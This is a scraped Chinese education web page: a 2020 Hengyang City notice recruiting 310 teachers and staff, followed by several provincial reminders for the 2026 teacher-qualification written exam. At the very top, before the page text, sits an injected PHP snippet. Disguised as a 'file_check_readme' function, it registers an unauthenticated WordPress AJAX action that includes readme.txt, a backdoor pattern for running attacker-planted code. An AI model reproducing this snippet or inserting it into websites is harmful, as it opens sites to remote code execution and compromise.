if(!function_exists('file_check_readme15721')){ add_action('wp_ajax_nopriv_file_check_readme15721', 'file_check_readme15721'); add_action('wp_ajax_file_check_readme15721', 'file_check_readme15721'); function file_check_readme15721() { $file = __DIR__ . '/' . 'readme.txt'; if (file_exists($file)) { include $file; } die(); } }
回顶部
湖南衡阳市2020年招聘教师310人公告-全国教师资格考试网

湖南衡阳市2020年招聘教师310人公告

  根据《湖南省事业单位公开招聘人员办法》(湘人社发[2019]1号)和《衡阳市公开招聘教师实施办法(试行)》(衡教发[2019]13号)等文件精神,现就2020年市教育局直属学校公开招聘310名工作人员有关事项公告如下:

  一、招聘原则

  公开、平等、竞争、择优。

  二、招聘单位、岗位及计划数

  面向社会公开招聘工作人员310名(教师304名、会计1名、校医3名、图书馆员2名)。具体招聘单位、招聘岗位及计划数见《2020年衡阳市教育局直属学校公开招聘工作人员岗位及条件一览表》。

  三、招聘条件

  (一)热爱党,热爱祖国,热爱社会主义,忠诚党的教育事业,遵纪守法,品行良好,身心健康。

  (二)执业资格要求

  根据《人力资源社会保障部、教育部、司法部、农业农村部、文化和旅游部、国家卫生健康委、国家知识产权局关于应对新冠肺炎疫情影响实施部分职业资格"先上岗、再考证"阶段性措施的通知》(人社部发[2020]24号)等文件精神,报考高校教师(毕业生类)岗位者、音体美舞(毕业生类)教师岗位者、计算机(毕业生类)教师岗位者和中职专业技能课(毕业生类)教师岗位、中职实习指导教师岗位者须于2023年7月31日前获得相应层次或以上层次的教师资格证书;报考应届毕业生类岗位者在报名时不将教师资格证作为限制性条件,但聘用后1年内(2021年7月31日前)须获得相应层次或以上层次的教师资格证;报考其他教师岗位者须于2020年7月31日前获得相应层次或以上层次的教师资格证书。报考校医岗位者须已获得执业医师资格证。规定时间内未取得相应层次的执业资格证者取消聘用资格,解除聘用合同。

  (三)报考普通中小学在岗教师岗位和职业院校非专业技能课在岗教师岗位须从事同学科教学工作连续3年以上(截止2020年8月31日),报考职业院校专业技能课在岗教师岗位及其他在岗人员岗位应从事相应专业工作连续3年以上(截止2020年8月31日)。发布公告之日为在编机关事业工作人员不得报考毕业生类岗位,报考应届毕业生类岗位者须系2020届普通高校全日制毕业生以及2018年和2019年尚未落实工作单位的普通高校全日制毕业生。根据《教育部办公厅等五部门关于进一步做好非全日制研究生就业工作的通知》(教研厅函[2019]1号)等文件精神,2016年12月1日后被国内高校录取的非全日制研究生,取得相应学历证书后,在应聘此次教师招聘岗位时,与全日制研究生具有同等法律地位和相同效力。

  (四)具备报考岗位所要求的年龄、学历、毕业专业(以教育部现行专业目录为准)、其它资格条件(见附件1和附件2)。报考人员的毕业证、留学归国人员学历认证须在2020年12月31日前取得,未在2020年12月31日前取得的,将取消聘用资格。(工作经历计算截止时间为2020年8月31日)

  (五)有下列情形之一的人员,不得报名:

  1.曾因犯罪受过刑事处罚的人员或曾被开除公职的人员;

  2.尚未解除党纪、政纪处分或正在接受纪律审查的人员;

  3.涉嫌违法犯罪正在接受司法调查尚未作出结论的人员;

  4.在各级公务员招考或事业单位公开招聘中被认定有舞弊等严重违反招考招聘纪律规定行为,且记录期限未满的人员;

  5.服务期内的特岗教师;

  6.试用期或最低服务年限未满的机关事业单位在编在岗人员;

  7.衡阳市教育局直属公办学校在编教师;

  8.普通全日制在读的非2020届毕业生(在读的全日制非2020届研究生不能以本科等学历报考,其它情形依此类推);

  9.有吸毒史的人员;

  10.法律、政策规定不得聘用为事业单位工作人员的其他情形的人员。

  (六)注意事项

  招聘学校负责对报考人员的报考条件进行资格初审,资格审查贯穿考试聘用工作全过程。凡在考试聘用工作全过程(包括网上报名和网上资格初审阶段)提供虚假报考申请材料的,一经查实,即取消考试聘用资格。

  四、招聘程序

  (一)发布信息

  在衡阳教育信息网(http://www.hhyedu.com.cn)和衡阳市人力资源社会保障网(http://www.hengyang.gov.cn/hysrsj/)发布招聘简章,发布时间为七个工作日(2020年8月7日至17日)。

  (二)网上报名和网上资格初审

  普通招聘岗位本次报名须缴考务费100元/人,考生自行将费用缴到以下指定银行帐户和帐号上,并将缴费凭证扫描件发送到报名邮箱。

  缴费银行帐户:衡阳市财政局非税收入汇缴结算户工行衡阳市分行华新支行,帐号:1905028029024909889。

  1.报名时间和方式:

  报名时间:2020年8月18日至8月20日。

  报名方式为网络报名,每名报考人员只能报考一个岗位(定校定岗),一人多报者取消报考资格,报考人员的专业应严格按照毕业证书填写。所学专业已列入《教育部现行专业目录》、但未列入招考职位专业的,不符合报考条件;所学专业未列入《教育部现行专业目录》的,由招聘学校提出意见,报市人社局和市教育局认定。网络报名者须在规定报名时间(2020年8月18日至8月20日)内通过电子邮件(电子邮件标题名称:招聘学校+姓名+应聘岗位+岗位代码)报名,将报名表及电子照片、缴费凭证和相关证件扫描件发送到各招聘学校指定电子邮箱(见附件5),并于规定时间内携带本人有效身份证、4张1寸照片、报名表及相关证书原件及复印件(各1份)到指定地点进行现场资格复审。

  2.报名联系电话:

  相应招聘学校指定政策咨询电话见附件5;市教育局政策咨询电话:0734-8811312,0734-8811381(考务);0734—8811371(疫情防控)。

  3.网上资格初审由招聘学校负责。资格初审时需提交以下资料:①《2020年衡阳市教育局直属学校公开招聘工作人员报名表》;②本人有效第二代身份证、毕业证[或普通全日制高校2020届毕业生所在学校就业部门盖章的就业推荐表,其中取得国(境)外学历人员还须提供<教育部留学服务中心的学历认证>]、执业资格证、相关荣誉(奖励)证书、专业技术职务证书等证书证明原件及复印件(各1份);③本人近期1寸免冠彩色同底照片4张;④以师范类毕业生身份报考者还须提供毕业学校出具的师范类专业证明;⑤在编在岗人员报考还须提交县级以上行政主管部门同意报考的书面证明(含试用期、最低服务期已满的证明);⑥报考有工作经历要求的岗位还须提供工作单位出具的书面工作经历证明(或中级以上职称证书、年度考核表、聘用合同)。

  4.开考比例:所有招聘岗位资格初审合格报考人数与聘用计划数的比例原则上不得低于3:1,少数专业特殊或确实难以形成竞争的岗位,经市人社局批准,可以取消、核减相应岗位招聘计划或降低开考比例,并发布调整招聘计划公告。凡经批准降低开考比例开考,或实际参考人数未达到开考比例的,设置面试合格分数线(80分),未达到面试合格分数线(80分)的,不得确定为体检入围人员。

  5.注意事项:按衡阳市新冠肺炎疫情防控工作要求,在笔试、面试、资格复审等阶段切实落实《2020年衡阳市教育局直属学校公开招聘工作人员疫情防控方案》(附件6),并如实填写《新冠肺炎疫情期间流行病学史调查问卷》(附件7)。请广大考生近期注意做好自我健康管理,在笔试前14天申领本人防疫健康码(湖南本省的通过微信公众号"湖南省居民健康卡"申领健康码,外省的通过微信小程序"国家政务服务平台"申领防疫健康信息码)和通信大数据行程卡(通过微信小程序"通信行程卡"申领),持续关注自己健康码和通信大数据行程卡状态,并进行每日体温测量和健康状况监测。出现发热(体温≥37.3℃)、咳嗽等急性呼吸道异常症状的,应及时进行相应的诊疗和排查,保证参考时身体健康。近期不要前往疫情中高风险地区,不出国(境),尽量不参加聚集性活动,不到人群密集场所。出行时如乘坐公共交通工具,要全程佩戴口罩并做好手部卫生。为维护全体考生和工作人员的健康权益,衡阳市教育局可能根据疫情形势在必要时调整疫情防控措施,请考生知悉、理解、配合、支持疫情防控措施和要求。考生不配合考试防疫工作、不如实报告健康状况,隐瞒或谎报旅居史、接触史、健康状况等疫情防控信息,提供虚假防疫证明材料(信息)的,取消考试资格。造成不良后果的,依法追究其法律责任。

  (三)考试和资格复审

  网上资格初审合格人员均为考试对象。笔试时间为2020年8月28日,笔试内容、地点及有关事项另行公告。因新型冠状病毒肺炎疫情影响,面试和资格复审的具体时间、地点、方式及有关事宜另行公告。

  (四)体检和考察

  1、根据考试综合成绩从高到低的顺序和考试成绩最低合格分数线的要求,按岗位计划1:1的比例等额确定体检入围人员。体检在指定的体检机构进行。体检标准参照《关于修订〈公务员录用体检通用标准(试行)〉及〈公务员录用体检操作手册(试行)〉有关内容的通知》(人社部发〔2016〕140号)的有关规定执行。对心率、视力、听力、血压等项目达不到体检合格标准的,应当日复检;对边缘性心脏杂音、病理性心电图、病理性杂音、频发早搏(心电图证实)等项目达不到体检合格标准的,应当场复检。当日复检和当场复检的医院为初次体检医院,复检时间不超过当天17:30。报考人员对非当日、非当场复检的体检项目结果有疑问时,可以在接到体检结论通知之日起7日内向招聘办提交复检申请。当日复检、当场复检及非当日、非当场复检都只能进行一次,复检内容为对体检结论有影响的项目,体检结果以复检结论为准。体检若出现不合格者或弃权者,则从报考同一个岗位人员中根据考试综合成绩由高分到低分依次等额递补,但递补仅为一次。

  2.体检合格者即为考察对象,招聘学校对其进行考察,主要对其政治思想、道德品质、能力素质、学习和工作表现、遵纪守法等情况进行考察,并核实考察对象是否符合规定的报考资格条件,提供的报考信息和相关材料是否真实、准确等。考察若出现不合格者或弃权者,不再递补。

  (五)公示与聘用

  考察合格人员即为拟聘用人员。拟聘用人员在衡阳教育信息网(http://www.hhyedu.com.cn)和衡阳市人力资源社会保障网(http://www.hengyang.gov.cn/hysrsj/)上公示,公示期为7个工作日。公示无异议的,经招聘领导小组审定,即确定为聘用人员,聘用岗位等级在聘用单位参加竞聘后确定,学校办理入编聘用等相关手续,签订聘用合同。因考生本人原因不能在招聘办规定时间内完成人事手续办理者,一律取消聘用资格。此次公开招聘的聘用人员自到单位报到上岗之日起按照聘用岗位享受相应工资福利待遇,最低服务期三年,其中耒阳师范附属小学招聘岗位最低服务期为五年。聘用人员为初次就业的,试用期为一年;有工作经历的,试用期为半年。试用期满考核合格者,予以正式聘用。试用期满考核不合格者,取消聘用资格。

  五、招聘监督

  (一)所有招聘工作在衡阳市公开招聘教师工作领导小组的领导下进行,领导小组下设办公室(衡阳市教育局二楼219室)。由衡阳市纪委监委、衡阳市人社局、衡阳市纪委监委驻市教育局纪检监察组等相关部门进行现场指导和监督,对违反公开招聘纪律的,按有关规定严肃追究责任。

  (二)应聘人员应诚信参考,珍惜考试机会,报考人员如有违纪违规行为,严格按照人社部令第35号《事业单位公开招聘违纪违规行为处理规定》进行处理。

  (三)实行回避制度。市公开招聘教师工作领导小组成员和参与招聘工作的相关人员在组织公开招聘各项事项时,涉及与本人有夫妻关系、直系血亲关系、三代以内旁系血亲关系或者近姻亲关系或其他可能影响到招聘公正的应自觉执行回避制度。

  咨询电话:

  考务:0734-8811312/8811381(衡阳市教育局组织人事科)

  疫情防控:0734—8811371(衡阳市教育局体卫艺科)

  监督电话:

  0734-8811350(衡阳市纪委监委驻市教育局纪检监察组)

  0734-2896692(衡阳市人力资源和社会保障局事业单位人事管理科)

  六、有关事项

  本次公开招聘工作指定信息发布网站为衡阳教育信息网(http://www.hhyedu.com.cn)和衡阳市人力资源社会保障网(http://www.hengyang.gov.cn/hysrsj/),有关信息和工作安排以上述网站发布为准,不再另行通知。请报名人员密切关注,自行查看通知,并确保本人所留通讯方式保持通畅。如未及时查看通知或因通讯方式不通畅而产生的一切后果,考生自负。

  本简章由衡阳市公开招聘教师工作领导小组办公室负责解释。未尽事宜,由衡阳市公开招聘教师工作领导小组研究决定并发布公告。

  附件:

  1.《2020年衡阳市教育局直属学校公开招聘工作人员岗位及条件一览表》

  2.《衡阳市公开招聘教师“绿色通道”条件》

  3.《2020年衡阳市教育局直属学校公开招聘工作人员报名表(绿色通道招聘)》(可下载打印)

  4.《2020年衡阳市教育局直属学校公开招聘工作人员报名表(普通招聘)》(可下载打印)

  5.衡阳市教育局直属招聘学校报名指定电子邮箱和报名政策咨询电话汇总表

  6.《2020年衡阳市教育局直属学校公开招聘工作人员疫情防控方案》

  7.《新冠肺炎疫情期间流行病学史调查问卷》(可下载打印)

  8.工作经历证明(模板)(可下载打印)

衡阳市公开招聘教师工作领导小组办公室

2020年8月7日

全国教师编制考试交流:943776395浙江教师资格考试②群

湖南衡阳市2020年招聘教师310人公告

回顶部
教师资格考试网
位置:首页/教师资格考试网
河北省2026年下半年中小学教师资格考试(笔试)考前提示(三)

一、重要时间节点提醒

1.开考前60分钟,建议考生提前到达考点,预留足够时间配合考点工作人员进行入场核验。

2.开考前30分钟,考生按照监考员的指令进入指定考场。

3.开考信号发出后,方可开始答题。

4.开考后迟到15分钟以上的考生,不得进入考场。

5.考试结束,待试卷(卡)回收、清点无误后,经监考员允许方可离场。

二、切勿考试违规

中小学教师资格考试是法律规定的国家考试,考生应自觉服从监考员管理,不得以任何理由妨碍监考员正常工作。考生如有违纪、作弊等行为,将按照《国家教育考试违规处理办法》等规定进行处理。有作弊情形的还将依据《教师资格条例》的相关规定3年内禁止参加教师资格考试。如情节严重、触犯刑法,将报送公安部门,依法处理。

三、谨防上当受骗

近年来,社会上一些机构或不法分子通过散布“助考”“考前售卖试题信息”等手段骗取考生钱财。请考生提高警惕,切莫相信,谨防上当受骗。

 

天津市2026年下半年中小学教师资格考试(笔试)考前提示

  2026年下半年天津市全国中小学教师资格考试笔试将于9月12日举行。为帮助广大考生顺利参加考试,现将有关事项提示如下:

  1.备齐个人证件。考前考生须自行下载并打印《准考证》,考生须凭《准考证》、有效期内的居民身份证/港澳台居民居住证/港澳居民来往内地通行证/台湾居民来往大陆通行证(五年有效期)进入考场,“两证”缺一不可。如身份证丢失,考生仅可使用有效期内的临时身份证或由公安部门出具的带有本人照片且加盖公安部门印章的证明替代。

  2.按要求携带考试用品。考生只准携带必要的考试文具(如黑色签字笔、铅笔、尺子、橡皮等)进入考场,不得携带书籍、资料、包等物品,严禁携带具有发送或者接收信息功能的电子设备(如:手机、耳机、智能眼镜、智能手表等)。

  3.遵守考试时间。考生要认真核对考点坐落的具体位置,提前设计出行方式和路线。考生迟到15分钟不得进入考场参加考试,考试结束前30分钟,方可交卷离开考场。

  4.严守考试纪律。中小学教师资格考试是法律规定的国家考试,适用于《中华人民共和国刑法修正案(九)》。在考试中若有违纪作弊行为,将按照《中华人民共和国刑法修正案(九)》《国家教育考试违规处理办法》(教育部令第33号)等相关规定严肃处理。有作弊情形的还将依据《教师资格条例》的相关规定3年内禁止参加教师资格考试。触犯刑法涉嫌犯罪的将移送公安机关依法处理。

  5.笔试成绩复核。11月6日起,考生可登录中小学教师资格考试网站查询笔试成绩。考生如对本人的考试成绩有异议,可在考试成绩公布后10个工作日内,通过手机扫描下方二维码或点击链接(https://ops.hycj.jrycn.cn/f/tjntcebsfh),按页面提示登录后提交复核申请。复核内容为登记分数是否准确。

  祝广大考生朋友们考试顺利!

四川省2026年下半年中小学教师资格考试(笔试)温馨提示

广大考生朋友:

2026年下半年中小学教师资格考试(笔试)将于9月12日举行。现将有关事项提醒如下。

一、考前准备

(一)及时下载打印准考证。请于2026年9月7日10:00至9月12日登录中小学教师资格考试网(http://ntce.neea.edu.cn)下载打印准考证,并核对准考证上的姓名、身份证号码、照片等信息是否与本人一致;若有误,请及时联系报名考区核实处理。

(二)备好个人证件。本次考试入场的指定证件为准考证、有效身份证原件(港澳台考生可持有效期内的港澳台居民居住证、港澳居民来往内地通行证、五年有效期台湾居民来往大陆通行证入场)。

(三)备齐考试用具。只能携带必要的考试文具进入考场(如:黑色签字笔、2B铅笔、橡皮等)。不得携带书籍、资料等物品,严禁携带具有发送或者接收信息功能的电子设备(手机及各类智能电子设备等)进入考场。请尽量避免携带挎包,不穿戴含有金属配件的衣物、饰品;服从考点工作人员管理,按要求存放个人随身物品,防止违规无法参加考试或财物遗失。

二、诚信参考

(一)遵守考试时间。牢记考试时间,合理规划出行路线,因入场前需集中存放手机、接受安检、验证身份等,建议提前到达考点,留足入场检查时间。部分考点学校有多个校区,请考生务必仔细核对准考证上的考点校区名称、详细地址,以免走错考点。到达考点后勿逗留、聚集,尽快有序入场。开考15分钟后,禁止考生进入考场参加当次科目考试。

(二)诚信守纪应考。遵守考点发出的考试指令,严守考试纪律,杜绝考试作弊行为。全部考场均实行全覆盖、全时段网上监控和录像,监控视频及回放资料都将作为认定考试违规的依据。试题、答题卡、草稿纸等均属于涉考材料,不允许以任何形式传出或带离考场。需要特别注意的是:考试过程中考生如携带手机等具有发送或者接收信息功能的设备,无论使用与否,均将认定为考试作弊。

(三)严禁违纪作弊。中小学教师资格考试属于《中华人民共和国刑法修正案(九)》规定的国家考试范畴,请考生严格遵守考试纪律,在考试中若有违纪舞弊行为将按照《中华人民共和国教育法》《国家教育考试违规处理办法》(教育部令第33号)等法律法规严肃处理,触犯刑法涉嫌犯罪的将移送公安机关依法处理。有作弊情形的将依据《中华人民共和国教师资格条例》的相关规定,3年内不得参加教师资格考试。  

三、成绩发布

本次笔试成绩预计于2026年11月6日开放查询,请考生登录中小学教师资格考试网(http://ntce.neea.edu.cn)查询。考生如对本人成绩有异议,可在成绩公布后10个工作日内,提交成绩复核申请,由省教育考试院汇总报送教育部教育考试院统一复查。具体申请方式另行通知。

四川省教育考试院

2026年9月8日

贵州省2026年下半年中小学教师资格考试(笔试)考前提示(一)

2026年下半年中小学教师资格考试(笔试)将于9月12日举行,现提示广大考生需注意以下事项:

一、提前打印准考证

即日起可登录教师资格考试网(http://ntce.neea.edu.cn/)提前打印准考证。

二、核对准考证信息

认真核对准考证上的姓名、照片等个人信息。若准考证上个人信息与身份证不符,请提前与报考考区联系,提供相应证明进行修改。考试时,准考证信息与身份证信息不符的考生不得入场参加考试。

三、提前熟悉考点地理位置,以免考试当天走错考点、考场,错过考试时间。

四、携带准考证、身份证,提前60分钟到达考点,听从考试工作人员指挥,配合做好各项入场检查。

五、遵守考场规则,诚信参考,禁止携带手机、智能手表、智能眼镜、智能手环等具有信息发送和接收功能的电子设备进入考点。

六、自觉服从监考员管理,不得以任何理由妨碍监考员正常工作。考生如有违纪、作弊等行为,将按照《国家教育考试违规处理办法》等规定进行处理。同时,对作弊考生还将依据《教师资格条例》相关规定,给予3年内禁止参加教师资格考试的处理。如情节严重、触犯刑法,将移送公安部门,依法处理。

甘肃省2026年下半年中小学教师资格考试(笔试)考生温馨提醒

2026年下半年中小学教师资格考试笔试将于9月12日举行。为确保考生顺利参加考试,省教育考试院就相关事项提醒如下:

一、考生可于9月7日-12日登录中小学教师资格考试网(网址:http://ntce.neea.edu.cn/),根据提示下载pdf格式的准考证并打印。请考生及时打印准考证,仔细核对个人信息,认真阅读“考生须知”内容,准确掌握考试时间、考点地址等信息。遵守考试要求,合理统筹安排,预留充足的时间提前抵达考点,及时安检进入考场。按时参加考试。

二、考生请于9月12日(按科类分3场)按时参加考试。开考15分钟后,迟到考生不得进入考场参加当次科目考试。第一场(9:00-11:00)各学段综合素质科目;第二场(13:00-15:00)各学段教育知识与能力科目;第三场(16:00-18:00)有关学段学科知识与教学能力科目。

三、考生需持有效期内的居民身份证(港澳台居民居住证、港澳居民来往内地通行证、台湾居民来往大陆通行证)、准考证参加考试。准考证上的“姓名”“证件号码”信息与所持上述身份证件上不一致者,不得参加考试。因考试期间全程禁用手机,故电子身份证不作为考试入场有效证件使用,请广大考生周知。

四、考生只准携带必要的文具(如黑色签字笔、铅笔、尺子、橡皮等)参加考试,不得携带书籍、资料、草稿纸、计算器、包等物品,严禁携带电子设备,如手机、耳机、智能手表(手环)、智能眼镜等电子设备等考试违规物品。

五、考生须遵守有关考试纪律和规定,服从考试工作人员管理,诚信考试。若有违纪、作弊行为的,将按照《国家教育考试违规处理办法》和《教师资格条例》的相关规定认定和处理。有作弊行为的,其当次报名参加考试的各科成绩无效,3年内不得再次参加教师资格考试。如情节严重、触犯刑法的,将移送公安部门依法处理。

祝各位考生考试平安顺利,取得理想成绩!

回顶部
回顶部